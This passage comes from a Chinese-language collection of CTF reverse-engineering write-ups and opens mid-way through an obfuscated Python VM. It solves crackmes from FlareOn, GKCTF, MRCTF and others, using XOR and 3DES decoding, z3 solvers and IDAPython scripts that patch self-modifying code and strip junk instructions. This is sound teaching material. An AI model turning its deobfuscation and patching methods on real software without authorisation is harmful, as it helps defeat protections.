괠[亀[佤]] = 괠[亀[侰]] * 괠[亀[俴]]
elif 굸 == "\xeb\xa2\xaf":
괠[亀[佤]] = 괠[亀[侰]] / 괠[亀[俴]]
elif 굸 == "\xeb\xa5\x87":
괠[亀[佤]] = 괠[亀[侰]] & 괠[亀[俴]]
elif 굸 == "\xeb\xa7\xb3":
괠[亀[佤]] = 괠[亀[侰]] | 괠[亀[俴]]
elif 굸 == "\xea\xb4\xa1":
괠[亀[佤]] = 괠[亀[佤]]
elif 굸 == "\xeb\xab\x87":
괠[亀[佤]] = 괠[亀[侰]]
elif 굸 == "\xea\xbc\x96":
괠[亀[佤]] = 亀[侰]
elif 굸 == "\xeb\xab\xbb":
궓[亀[佤]] = 괠[亀[侰]]
elif 굸 == "\xeb\x94\x93":
괠[亀[佤]] = 궓[亀[侰]]
elif 굸 == "\xeb\x8c\x92":
괠[亀[佤]] = 佤
elif 굸 == "\xeb\xac\x87":
궓[亀[佤]] = 佤
elif 굸 == "\xeb\xac\x9f":
괠[亀[佤]] = input(괠[亀[侰]])
elif 굸 == "\xea\xbd\xba":
궓[亀[佤]] = input(괠[亀[侰]])
elif 굸 == "\xeb\x8f\xaf":
print(괠[亀[佤]])
elif 굸 == "\xeb\xad\x97":
print(궓[亀[佤]])
elif 굸 == "\xeb\xad\xbf":
굴 = 괠[亀[佤]]
elif 굸 == "\xeb\xae\x93":
굴 = 궓[亀[佤]]
elif 굸 == "\xeb\xae\xb3":
굴 = 괣.pop()
elif 굸 == "\xeb\xaf\x83" or 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 亀[佤]
괣.append(굴)
continue
elif 굸 == "\xea\xbd\xb2":
괠[7] = 佤
for i in range(len(괠[亀[佤]])):
if 괠[亀[佤]] != 괠[亀[侰]]:
괠[7] = 侰
굴 = 괠[亀[俴]]
괣.append(굴)
elif 굸 == "\xea\xbe\xae":
괢 = ""
for i in range(len(괠[亀[佤]])):
괢 += chr(ord(괠[亀[佤]][i]) ^ 괠[亀[侰]])
괠[亀[佤]] = 괢
elif 굸 == "\xea\xbf\x9a":
괢 = ""
for i in range(len(괠[亀[佤]])):
괢 += chr(ord(괠[亀[佤]][i]) - 괠[亀[侰]])
괠[亀[佤]] = 괢
elif 굸 == "\xeb\x96\x87" or 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 괠[亀[佤]]
괣.append(굴)
continue
elif 굸 == "\xeb\x97\x8b" or 괠[亀[侰]] > 괠[亀[俴]]:
굴 = 궓[亀[佤]]
괣.append(굴)
continue
elif 굸 == "\xeb\x98\xb7" or 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 亀[佤]
괣.append(굴)
continue
elif 굸 == "\xeb\x9a\xab" or 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 괠[亀[佤]]
괣.append(굴)
continue
elif 굸 == "\xeb\x9d\x87" and 괠[亀[侰]] == 괠[亀[俴]]:
굴 = 궓[亀[佤]]
괣.append(굴)
continue
굴 += 侰


䯂(
[
["\xea\xbc\x96", 佤, "Authentication token: "],
["\xea\xbd\xba", 佤, 佤],
[
"\xea\xbc\x96",
6,
"\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab",
],
["\xea\xbc\x96", 俴, 俴 ** (3 * 俴 + 侰) - 俴 ** (俴 + 侰)],
["\xea\xbc\x96", 4, 15],
["\xea\xbc\x96", 3, 侰],
["\xeb\x83\x83", 俴, 俴, 3],
["\xeb\x89\x83", 俴, 俴, 4],
["\xea\xb4\xa1", 佤, 俴],
["\xeb\x8c\x92", 3],
["\xea\xbe\xae", 6, 3],
["\xea\xbc\x96", 佤, "Thanks."],
["\xea\xbc\x96", 侰, "Authorizing access..."],
["\xeb\x8f\xaf", 佤],
["\xeb\x94\x93", 佤, 佤],
["\xea\xbe\xae", 佤, 俴],
["\xea\xbf\x9a", 佤, 4],
["\xea\xbc\x96", 5, 19],
["\xea\xbd\xb2", 佤, 6, 5],
["\xeb\x8f\xaf", 侰],
["\xeb\x93\x83"],
["\xea\xbc\x96", 侰, "Access denied!"],
["\xeb\x8f\xaf", 侰],
["\xeb\x93\x83"],
]
)

则分析如下

VM(
[
["mov", a, "Authentication token: "],# mov r[0], string1
["scanf", a, a], # get_input
[
"mov",
6,
"\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab",
], # mov r[6], string2
["mov", c, c ** (3 * c + b) - c ** (c + b)], # mov r[2], 120
["mov", 4, 15],# mov r[4], 15
["mov", 3, b], # mov r[3], 1
["mul", c, c, 3], # mul r[2], r[2], r[3] ; 120 * 1
["add", c, c, 4], # add r[2], r[2], r[4] 120 + 15 = 135
["movR", a, c], # mov r[0], r[2]
["setZero", 3], # mov r[3], 0
["xorS", 6, 3], # xor r[6], input, r[3] ; 输入异或0放入r[6]
["mov", a, "Thanks."], # mov r[0], string3
["mov", b, "Authorizing access..."],# mov r[1], string4
["print", a], # print("Thanks.")
["movs", a, a], # movS r[0], input; 输入放入r[0]
["xorS", a, c], # xor r[0], r[0], r[2] ; r[0]中的字符串与r[2]中135进行异或
["subs", a, 4], # sub r[0], r[0], r[4] ; r[0]中的字符串减去r[4]中的15
["mov", 5, 19], # mov r[5], 19
["check", a, 6, 5], # 逐位校验
["print", b],
["End"],
["mov", b, "Access denied!"],
["print", b],
["End"],
]
)

将输入逐位异或135并减去15

则解题脚本如下

s = b"\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab".decode("utf-8") # 观察到\xc3\xc2为unicode码的标志, 故需要先解码
flag = []
for i in s:
flag.append(((ord(i) + 15) ^ 135))
print(bytes(flag))

[FlareOn1]Shellolololol

  • 题目报毒2333333

存在大量的XOR, 调试跟踪,在最后的地方找到flag对比

image-20211104132336568

[FlareOn6]Memecat Battlestation

第一个code

image-20211104133932238

第二个code

image-20211104133830727

d = ['\u0003', ' ', '&', '$', '-', '\u001e', '\u0002', ' ', '/', '/', '.', '/']
code = []
for i in d:
code.append(ord(i) ^ ord('A'))
print(bytes(code))

flag:Kitteh_save_galixy@flare-on.com

[FlareOn6]FlareBear

GDA打开,可以找到一个dancewithflag

通过交叉引用查到输出flag的要求为

mass == 72, happy == 30, clean == 0

找到play,clean和feed, 分别如下

Feed:
mass += 10
happy += 2
clean -= 1

PLAY:
mass -= 2
happy += 4
clean -= 1

CLEAN:
mass += 0
happy -= 1
clean += 6

直接解方程

10 * feed + (-2) * play + 0 * clean == 72
2 * feed + 4 * play + (-1) * clean == 30
(-1) * feed + (-1) * play + 6 * clean == 0

clean = 2, play = 4, feed = 8

img

[2019红帽杯]calc

2019 红帽杯 | Lantern’s 小站

[GKCTF 2021]Crash

Go语言程序,IDA 7.6打开

main函数校验flag格式

image-20211104143403798

进入main_check, 存在以下加密

main_encrypto: 3des + base64
Encrypt_HashHex2: sha256
Encrypt_HashHex5: sha512
main_hash: md5

3DES解密如下

from Crypto.Cipher import DES3
import base64

key = b"WelcomeToTheGKCTF2021XXX"
iv = b"1Ssecret"
cipher = b"o/aWPjNNxMPZDnJlNp0zK5+NLPC4Tv6kqdJqjkL0XkA="
cipher = base64.b64decode(cipher)
des3 = DES3.new(key, DES3.MODE_CBC, iv)
plain = des3.decrypt(cipher)
print(plain)

其他的Hash网上查,或者直接爆破 , 得到flag

GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}

[CFI-CTF 2018]powerPacked

➜  tmp file powerPacker
powerPacker: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, stripped

image-20211105194945152

upx解压后

int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [sp+8h] [-58h]
_BYTE v5[32]; // [sp+10h] [-50h] BYREF
char v6[24]; // [sp+30h] [-30h] BYREF
int v7; // [sp+48h] [-18h]
const char **v8; // [sp+4Ch] [-14h]

v7 = argc;
v8 = argv;
strcpy(v6, "EHK}kanqxgarqygtre");
printf("Insert password : ", argv, envp);
_isoc99_scanf("%31s", v5);
for ( i = 0; i < 21; ++i )
v6[i] -= 2;
if ( strcmp(v5, v6) )
puts("Wrong password.");
else
puts("Password is correct. Submit this as the flag.");
return 0;
}

s = b"EHK}kanqxgarqygtre"
flag = []
for i in s:
flag.append(i - 2)
print(bytes(flag))

[FlareOn4]greek_to_me

反编译出来以后,主函数中存在一段SMC

image-20211105204329643

其中v3来自buf[0], 而buf来自下面的函数

SOCKET __cdecl sub_401121(char *buf)
{
SOCKET v2; // esi
SOCKET v3; // eax
SOCKET v4; // edi
struct WSAData WSAData; // [esp+0h] [ebp-1A0h] BYREF
struct sockaddr name; // [esp+190h] [ebp-10h] BYREF

if ( WSAStartup(0x202u, &WSAData) )
return 0;
v2 = socket(2, 1, 6);
if ( v2 != -1 )
{
name.sa_family = 2;
*(_DWORD *)&name.sa_data[2] = inet_addr("127.0.0.1");
*(_WORD *)name.sa_data = htons(0x8AEu);
if ( bind(v2, &name, 16) != -1 && listen(v2, 0x7FFFFFFF) != -1 )
{
v3 = accept(v2, 0, 0);
v4 = v3;
if ( v3 != -1 )
{
if ( recv(v3, buf, 4, 0) > 0 )
return v4;
closesocket(v4);
}
}
closesocket(v2);
}
WSACleanup();
return 0;
}

监听本地2222端口, 并接受4个字节

由于主函数中有校验, 如果成功会输出Congratulations! But wait, where's my flag?

那么我们可以通过爆破将这个buf[0]算出来

import os
import socket

ip = '127.0.0.1'
port = 2222
for i in range(255):
os.startfile("greek_to_me.exe")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(chr(i))
data = s.recv(1024)
s.close()
if 'Congratulations' in data:
print("%x" % i)
break

可得buf值为a2

则可自己写个idapython脚本进行解密

import ida_bytes
buf = ida_bytes.get_bytes(0x04010A0, 121)
buf = list(map(lambda x: ((x ^ 0xa2) + 34) & 0xff, buf))
ida_bytes.patch_bytes(0x04010A0, bytes(buf))

解密后得到flag

image-20211105212736008

写个脚本

bg = 0x0040107C
end = 0x004010F1

addr = bg
flag = []
def next_instr(addr):
return addr+get_item_size(addr)


while addr < end:
if addr == 0x0040107C or addr == 0x00401085:
addr = next_instr(addr)
continue
d = get_operand_value(addr, 1)
if d == 0x12:
flag.append(0x5F)
elif d == 0x13:
flag.append(0x65)
else:
flag.append(get_operand_value(addr, 1))
addr = next_instr(addr)
print(bytes(flag))

flag

et_tu_brute_force@flare-on.com

[INSHack2018]Tricky-Part1

校验函数:

std::string *__fastcall stack_check(std::string *a1)
{
unsigned __int64 v1; // rbx
unsigned __int64 v2; // rax
_BYTE *v3; // rax
unsigned __int64 v4; // rbx
char v6; // [rsp+1Bh] [rbp-25h] BYREF
int i; // [rsp+1Ch] [rbp-24h]
char v8[32]; // [rsp+20h] [rbp-20h] BYREF

std::allocator<char>::allocator(&v6);
std::string::string(v8, "GDB", &v6);
std::allocator<char>::~allocator(&v6);
for ( i = 0; ; ++i )
{
v4 = i;
if ( v4 >= std::string::size((std::string *)&base) )
break;
v1 = i;
v2 = std::string::size((std::string *)v8);
LOBYTE(v1) = *(_BYTE *)std::string::operator[](v8, v1 % v2);
v3 = (_BYTE *)std::string::operator[](&base, i);
*v3 ^= v1;
}
std::string::string(a1, (const std::string *)&base);
std::string::~string(v8);
return a1;
}

其中异或的数组GDB

base初始化函数

int __fastcall __static_initialization_and_destruction_0(int a1, int a2)
{
int result; // eax
char v3[17]; // [rsp+1Fh] [rbp-11h] BYREF

if ( a1 == 1 && a2 == 0xFFFF )
{
std::ios_base::Init::Init((std::ios_base::Init *)&std::__ioinit);
__cxa_atexit(std::ios_base::Init::~Init, &std::__ioinit, &_dso_handle);
std::allocator<char>::allocator(v3);
std::string::string(&base, &byte_401278, v3);
std::allocator<char>::~allocator(v3);
return __cxa_atexit(std::string::~string, &base, &_dso_handle);
}
return result;
}

则解密脚本如下

data = [0x0E, 0x0A, 0x11, 0x06, 0x3F, 0x01, 0x1F, 0x1C, 0x1D, 0x76, 0x37, 0x1D, 0x2F, 0x70, 0x30, 0x23, 0x77, 0x30, 0x18, 0x22, 0x72, 0x35, 0x1B, 0x31, 0x33, 0x70, 0x36, 0x76, 0x27, 0x1D, 0x73, 0x2A, 0x76, 0x2B, 0x75, 0x31, 0x3E, 0x37, 0x1D, 0x30, 0x2C, 0x71, 0x29, 0x1B, 0x26, 0x74, 0x26, 0x37, 0x20, 0x23, 0x71, 0x35, 0x1B, 0x24, 0x73, 0x75, 0x2E, 0x34, 0x39]

xor_data = b"GDB"
flag = []
for i in range(len(data)):
flag.append(data[i] ^ xor_data[i % 3])
print(bytes(flag))

[MRCTF2020]VirtualTree

动调,可以看到题目存在代码自修改与花指令

先写脚本去花

import ida_bytes
bg = 0x0401470
end = 0x0040160B

addr = bg

def next_instr(addr):
return addr+get_item_size(addr)

while addr < end:
if "jz" == print_insn_mnem(addr):
if ida_bytes.get_byte(addr+0x2) == 0xe8:
patch_byte(addr + 0x2, 0x90)
addr += 0x3
continue
addr = next_instr(addr)
addr = bg
while addr < end:
ida_bytes.del_items(addr)
addr = next_instr(addr)

动调起来就可以看到具体的函数了,分析如下

void sub_A416F0()
{
add(0, 10);
xor(1, 2);
add(2, 7);
subabs(3, 7);
xor(4, 5);
subabs(6, 1);
add(7, 3);
xor(8, 7);
subabs(9, 8);
subabs(10, 7);
xor(11, 12);
subabs(12, 2);
xor(14, 15);
add(15, 2);
}

add函数:

void __cdecl add(int a1, char a2)
{
input[a1] += a2;
}

xor函数:

void __cdecl xor(int a1, int a2)
{
input[a1] ^= input[a2];
}

subabs函数:

void __cdecl subabs(int a1, int a2)
{
__int64 v2; // rax

v2 = (unsigned __int8)input[a1] - (unsigned __int8)input[a2];
input[a1] = (BYTE4(v2) ^ v2) - BYTE4(v2);
}

对比数据cmp_data = [0x17, 0x63, 0x77, 0x03, 0x52, 0x2E, 0x4A, 0x28, 0x52, 0x1B, 0x17, 0x12, 0x3A, 0x0A, 0x6C, 0x62]

输入的flag会先异或一下

image-20211105225039661

可以下断将异或的数据打出来

image-20211105225122392

得到异或数据xor_data = [77,76,71,80,79,75,70,67,74,69,78,73,72,68,66,65]

则解密脚本如下

from z3 import *
cmp_data = [0x17, 0x63, 0x77, 0x03, 0x52, 0x2E, 0x4A,
0x28, 0x52, 0x1B, 0x17, 0x12, 0x3A, 0x0A, 0x6C, 0x62]

s = Solver()
_data = [BitVec('x%d' % i, 8) for i in range(16)]
data = _data[:]


def Add(a1, a2):
global data
data[a1] += a2


def Xor(a1, a2):
global data
data[a1] ^= data[a2]


def Subabs(a1, a2):
global data
n = data[a1] - data[a2]
data[a1] = (n ^ (n >> 31)) - (n >> 31)


Add(0, 10)
Xor(1, 2)
Add(2, 7)
Subabs(3, 7)
Xor(4, 5)
Subabs(6, 1)
Add(7, 3)
Xor(8, 7)
Subabs(9, 8)
Subabs(10, 7)
Xor(11, 12)
Subabs(12, 2)
Xor(14, 15)
Add(15, 2)
for i in range(16):
data[i] &= 0xff

for i,j in zip(data, cmp_data):
s.add(i == j)

for i in range(16):
s.add(_data[i] >= 0)
s.add(_data[i] <= 0x7f)

while s.check() == sat:
m = s.model()
flag = []
xor_data = [77, 76, 71, 80, 79, 75, 70, 67, 74, 69, 78, 73, 72, 68, 66, 65]
conditions = []
for i,j in zip(_data, xor_data):
flag.append(m[i].as_long() ^ j)
conditions.append(i != m[i].as_long())
s.add(Or(conditions))
print(bytes(flag))

跑出来有好几个结果, 第二个就是flag

image-20211105231836000

这道题多解233333

image-20211105231955791

[b01lers2020]chugga_chugga

➜  chugga_chugga file chugga
chugga: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

核心代码如下:

input = (_BYTE *)*v25;
if ( v1 <= 2 )
break;
if ( input[2] != 't' )
goto LABEL_5;
if ( v1 <= 9 )
break;
if ( input[9] != 'c' )
goto LABEL_5;
if ( v1 <= 0x10 )
break;
if ( input[16] != 'n' )
goto LABEL_5;
if ( v1 <= 0x15 )
break;
if ( input[21] != 'z' )
goto LABEL_5;
if ( v1 <= 0x16 )
break;
if ( input[22] != '}' )
goto LABEL_5;
v4 = input[5];
if ( v4 != 115 )
goto LABEL_5;
if ( (input[3] ^ 't') != 18 )
goto LABEL_5;
v5 = input[1];
if ( v5 != 'c' )
goto LABEL_5;
v6 = input[7];
if ( v6 != 100 )
goto LABEL_5;
v7 = input[13];
if ( input[12] != v7 )
goto LABEL_5;
if ( input[19] != 'z' )
goto LABEL_5;
v8 = input[14];
v9 = input[6];
if ( v9 + v8 != 'h' )
goto LABEL_5;
v10 = input[4];
if ( v10 != 123 )
goto LABEL_5;
v11 = input[8];
if ( input[15] != v11 )
goto LABEL_5;
if ( v11 + 4 == v5
&& (v12 = input[17], v13 = input[11], '}' - v12 + 40 == v13)
&& (v14 = input[18], v15 = v12 + v13 - v4 - v14, v16 = v14 - v12, v15 == v16)
&& (v17 = v9 - v12, *input == v16 * (v17 >> 1) + 'n')
&& (v18 = input[10], v7 + 1 == v18)
&& v17 + 2 * v17 + 4 * (v10 - v6) == v18
&& input[20] - v5 == 2 * v16
&& (v4 ^ 'n') == 29
&& v17 == 4 * v16
&& input[6] == v8 )
{
main_win();
v3 = v24;
}

则可以直接用z3暴力解

from z3 import *

s = Solver()
x = [BitVec('x%d' % i, 8) for i in range(23)]

s.add(x[2] == ord('t'))
s.add(x[9] == ord('c'))
s.add(x[16] == ord('n'))
s.add(x[21] == ord('z'))
s.add(x[22] == ord('}'))
s.add(x[5] == 115)
s.add(x[3] ^ ord('t') == 18)
s.add(x[1] == ord('c'))
s.add(x[7] == 100)
s.add(x[12] == x[13])
s.add(x[19] == ord('z'))
s.add(x[14] + x[6] == ord('h'))
s.add(x[4] == 123)
s.add(x[15] == x[8])
s.add(x[8] + 4 == x[1])
v12 = x[17]
v13 = x[11]
s.add(x[11] == ord('}')- x[17] + 40)
v14 = x[18]
v4 = x[5]
v15 = v12 + v13 - v4 - v14
v16 = v14 - v12
s.add(v15 == v16)
v9 = x[6]
v17 = v9 - v12
s.add(x[0] == v16 * (v17 >> 1) + ord('n'))
v18 = x[10]
v7 = x[13]
s.add(v7 + 1 == v18)
v10 = x[4]
v6 = x[7]
s.add(v17 + 2 * v17 + 4 * (v10 - v6) == v18)
v5 = x[1]
s.add(x[20] - v5 == 2 * v16)
s.add((v4 ^ ord('n')) == 29)
s.add(v17 == 4 * v16)
v8 = x[14]
s.add(x[6] == v8)

assert s.check() == sat
m = s.model()
flag = []
for i in x:
flag.append(m[i].as_long())
print(bytes(flag))

[RCTF2019]DontEatMe

2019 RCTF | Lantern’s 小站

[XMAN2018排位赛]Dragon Quest

存在大量不透明谓词,用脚本直接去掉(pizza yyds)

import ida_xref
import ida_idaapi
from ida_bytes import get_bytes, patch_bytes

def do_patch(ea):
if(get_bytes(ea, 1) == b"\x8B"): # mov eax-edi, dword
reg = (ord(get_bytes(ea + 1, 1)) & 0b00111000) >> 3
patch_bytes(ea, (0xB8 + reg).to_bytes(1,'little') + b'\x00\x00\x00\x00\x90\x90')
elif(get_bytes(ea, 2) == b"\x44\x8B"): # mov r8d-r15d, dword
reg = (ord(get_bytes(ea + 2, 1)) & 0b00111000) >> 3
patch_bytes(ea + 1, (0xB8 + reg).to_bytes(1,'little') + b'\x00\x00\x00\x00\x90\x90')
else:
print('error')

